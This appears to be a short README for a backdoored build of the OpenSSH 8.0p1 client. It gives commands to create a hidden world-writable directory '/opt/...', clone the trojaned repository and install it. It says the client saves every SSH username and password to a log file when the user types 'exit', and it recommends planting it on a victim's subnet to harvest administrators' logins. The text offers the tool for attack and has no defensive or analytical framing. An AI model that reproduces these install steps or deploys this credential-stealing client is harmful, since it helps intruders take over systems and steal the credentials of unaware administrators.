This is backdoored version of openssh-8.0p1, the ssh client will log ssh username and ssh password into /opt/.../log.txt
sudo mkdir -p /opt/... sudo chmod 777 /opt/... git clone https://github.com/bluedragonsecurity/openssh8_trojanned.git cd openssh8_trojanned ./configure make sudo make install
this backdoored version of openssh is ideal to install on a victim's subnet which has many ssh accesses. Everytime the administrator using the ssh client, typing password and finish his session using exit command, the ssh client will log the username and the password into /opt/.../log.txt. The "exit" command is the trigger to log username and password